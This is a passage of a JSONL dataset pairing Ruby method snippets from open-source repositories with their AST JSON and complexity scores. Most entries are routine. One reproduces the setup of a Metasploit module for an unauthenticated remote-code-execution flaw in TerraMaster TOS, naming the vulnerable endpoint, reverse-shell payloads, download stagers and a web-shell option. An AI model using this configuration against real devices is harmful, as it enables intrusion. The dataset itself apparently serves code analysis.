},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"control_cli\"]},\"run\"]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_booted\"]},{\"type\":\"send\",\"children\":[null,\"assert_command_cli_output\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]}]}]},{\"type\":\"str\",\"children\":[\"Puma is started\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_command_cli_output\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stop\"]}]}]},{\"type\":\"str\",\"children\":[\"Command stop sent success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Thread\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"join\"]},{\"type\":\"str\",\"children\":[\"server didn't stop\"]}]}]}]}","id":"efc9a641-592a-43dc-ab06-285835016278"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user_synced_attributes_metadata.rb","start_line":29,"raw_source":"def syncable_attributes(provider = nil)\n      return SYNCABLE_ATTRIBUTES unless provider && ldap_provider?(provider)\n      return SYNCABLE_ATTRIBUTES if ldap_sync_name?(provider)\n\n      SYNCABLE_ATTRIBUTES - %i[name]\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"syncable_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"provider\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},{\"type\":\"send\",\"children\":[null,\"ldap_provider?\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYNCABLE_ATTRIBUTES\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap_sync_name?\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYNCABLE_ATTRIBUTES\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYNCABLE_ATTRIBUTES\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}","id":"24ed3ba7-ac08-414a-b616-2edc97279649"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution',\n        'Description' => %q{\n          This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06\n          and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php`\n          during CSV creation.\n          Any unauthenticated user can therefore execute commands on the system under the same privileges as the\n          web application, which typically runs under root at the TerraMaster Operating System.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor\n          'IHTeam' # Discovery\n        ],\n        'References' => [\n          ['CVE', '2020-35665'],\n          ['CVE', '2020-28188'],\n          ['PACKETSTORM', '160685'],\n          ['PACKETSTORM', '160687'],\n          ['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/'],\n          ['URL', 'https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665']\n        ],\n        'DisclosureDate' => '2020-12-12',\n        'Platform' => ['unix', 'linux'],\n        'Arch' => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'PHP',\n            {\n              'Platform' => 'php',\n              'Arch' => ARCH_PHP,\n              'Type' => :php,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'php/meterpreter/reverse_tcp'\n              }\n            }\n          ],\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/unix/reverse_bash'\n              }\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],\n              'Type' => :linux_dropper,\n              'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'],\n              'DefaultOptions' => {\n                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'RPORT' => 8181,\n          'SSL' => false\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n    register_options([\n      OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']),\n      OptString.new('WEBSHELL', [false, 'Web shell name with extension .php. Name will be randomly generated if left unset.', nil]),\n      OptEnum.new('COMMAND',\n                  [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])\n    ])\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06\\n\"]},{\"type\":\"str\",\"children\":[\"          and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php`\\n\"]},{\"type\":\"str\",\"children\":[\"          during CSV creation.\\n\"]},{\"type\":\"str\",\"children\":[\"          Any unauthenticated user can therefore execute commands on the system under the same privileges as the\\n\"]},{\"type\":\"str\",\"children\":[\"          web application, which typically runs under root at the TerraMaster Operating System.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die-gr3y <h00die.gr3y[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"IHTeam\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-35665\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-28188\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PACKETSTORM\"]},{\"type\":\"str\",\"children\":[\"160685\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PACKETSTORM\"]},{\"type\":\"str\",\"children\":[\"160687\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-12-12\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"php/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_bash\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"printf\"]},{\"type\":\"str\",\"children\":[\"echo\"]},{\"type\":\"str\",\"children\":[\"bourne\"]},{\"type\":\"str\",\"children\":[\"wget\"]},{\"type\":\"str\",\"children\":[\"curl\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8181]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to Terramaster Web console\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WEBSHELL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Web shell name with extension .php. Name will be randomly generated if left unset.\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"COMMAND\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use PHP command function\"]},{\"type\":\"str\",\"children\":[\"passthru\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"passthru\"]},{\"type\":\"str\",\"children\":[\"shell_exec\"]},{\"type\":\"str\",\"children\":[\"system\"]},{\"type\":\"str\",\"children\":[\"exec\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"TARGET\"]},{\"type\":\"str\",\"children\":[\"!=\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]}]}]}]}]}]}","id":"10a6f50d-fc42-46c9-8b3a-3c542fc99745"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_serializer.rb","start_line":292,"raw_source":"def title_is_group\n    object&.user&.title == object.user&.primary_group&.title\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"title_is_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user\"]},\"title\"]},\"==\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user\"]},\"primary_group\"]},\"title\"]}]}]}","id":"236a4c7d-ebc7-4392-965a-e7c299761100"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme.rb","start_line":426,"raw_source":"def switch_to_theme!\n    return unless component\n\n    Theme.transaction do\n      self.enabled = true\n      self.component = false\n      ChildTheme.where(\"child_theme_id = ?\", id).destroy_all\n      self.save!\n    end\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_to_theme!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Theme\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enabled=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"component=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChildTheme\"]},\"where\",{\"type\":\"str\",\"children\":[\"child_theme_id = ?\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"save!\"]}]}]}]}]}","id":"a70ed965-2a8f-4652-b45f-dad2ad95c0b0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/report_note_policy.rb","start_line":8,"raw_source":"def destroy?\n    owner? || (role.can?(:manage_reports) && role.overrides?(record.account.user_role))\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owner?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_reports\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"overrides?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"account\"]},\"user_role\"]}]}]}]}]}]}","id":"548321a5-7127-4976-aaa4-c4ad86ed3b4c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/cloud_manager/provision_workflow.rb","start_line":147,"raw_source":"def get_targets_for_ems(src, filter_name, klass, relats)\n    ems = src.try(:ext_management_system)\n\n    return {} if ems.nil?\n\n    process_filter(filter_name, klass, ems.deep_send(relats))\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_targets_for_ems\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src\"]},{\"type\":\"arg\",\"children\":[\"filter_name\"]},{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"relats\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ems\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"try\",{\"type\":\"sym\",\"children\":[\"ext_management_system\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"process_filter\",{\"type\":\"lvar\",\"children\":[\"filter_name\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"deep_send\",{\"type\":\"lvar\",\"children\":[\"relats\"]}]}]}]}]}","id":"41d63f19-69ee-4914-a31a-bcc0a84a458c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":677,"raw_source":"def test_strptime_with_malformed_string\n    with_env_tz \"US/Eastern\" do\n      zone = ActiveSupport::TimeZone[\"Eastern Time (US & Canada)\"]\n      assert_raise(ArgumentError) { zone.strptime(\"1999-12-31\", \"%Y/%m/%d\") }\n    end\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strptime_with_malformed_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_env_tz\",{\"type\":\"str\",\"children\":[\"US/Eastern\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Eastern Time (US & Canada)\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"strptime\",{\"type\":\"str\",\"children\":[\"1999-12-31\"]},{\"type\":\"str\",\"children\":[\"%Y/%m/%d\"]}]}]}]}]}]}","id":"82828fa6-8653-415d-b6f6-b3ff1340adf5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/logger.rb","start_line":39,"raw_source":"def observe(name, value)\n        observations[name.to_s].push(value)\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"observe\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"observations\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},\"push\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"a88e3b55-3fc4-4916-805c-3a777bb0734c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/work_items_collections.rb","start_line":96,"raw_source":"def work_items_collection_params\n    @work_items_collection_params ||= params.permit(WorkItems::WorkItemsFinder.valid_params)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"work_items_collection_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@work_items_collection_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkItems\"]},\"WorkItemsFinder\"]},\"valid_params\"]}]}]}]}","id":"3332bcee-86f8-45e7-84dc-919669c69998"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/system/account_notes_spec.rb","start_line":41,"raw_source":"def visit_profile(account)\n    visit short_account_path(account)\n\n    expect(page)\n      .to have_css('div.app-holder')\n      .and have_css('form.compose-form')\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_profile\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"short_account_path\",{\"type\":\"lvar\",\"children\":[\"account\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"div.app-holder\"]}]},\"and\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"form.compose-form\"]}]}]}]}]}]}","id":"14fa7825-e533-4617-8a0c-081076f3e913"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/projects/ml/candidate_finder.rb","start_line":48,"raw_source":"def metric_order_by\n        @params[:order_by] || ''\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"metric_order_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"94eb9979-e809-4b5d-8b99-2460653c2406"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/statuses_helper.rb","start_line":49,"raw_source":"def status_classnames(status, is_quote)\n    if is_quote\n      'status--is-quote'\n    elsif status.quote.present?\n      'status--has-quote'\n    end\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"status_classnames\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"is_quote\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_quote\"]},{\"type\":\"str\",\"children\":[\"status--is-quote\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"quote\"]},\"present?\"]},{\"type\":\"str\",\"children\":[\"status--has-quote\"]},null]}]}]}","id":"5117f61c-cec6-4abc-825d-e5a1c3766a72"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/connection_test.rb","start_line":160,"raw_source":"def test_mysql_set_session_variable\n    run_without_connection do |orig_connection|\n      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { default_week_format: 3 }))\n      session_mode = ActiveRecord::Base.lease_connection.exec_query \"SELECT @@SESSION.DEFAULT_WEEK_FORMAT\"\n      assert_equal 3, session_mode.rows.first.first.to_i\n    end\n  end","complexity_score":17.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mysql_set_session_variable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_without_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"orig_connection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"establish_connection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orig_connection\"]},\"deep_merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variables\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_week_format\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"session_mode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"exec_query\",{\"type\":\"str\",\"children\":[\"SELECT @@SESSION.DEFAULT_WEEK_FORMAT\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_mode\"]},\"rows\"]},\"first\"]},\"first\"]},\"to_i\"]}]}]}]}]}","id":"2ab12c48-e533-4dbf-b852-8128de0044d5"}
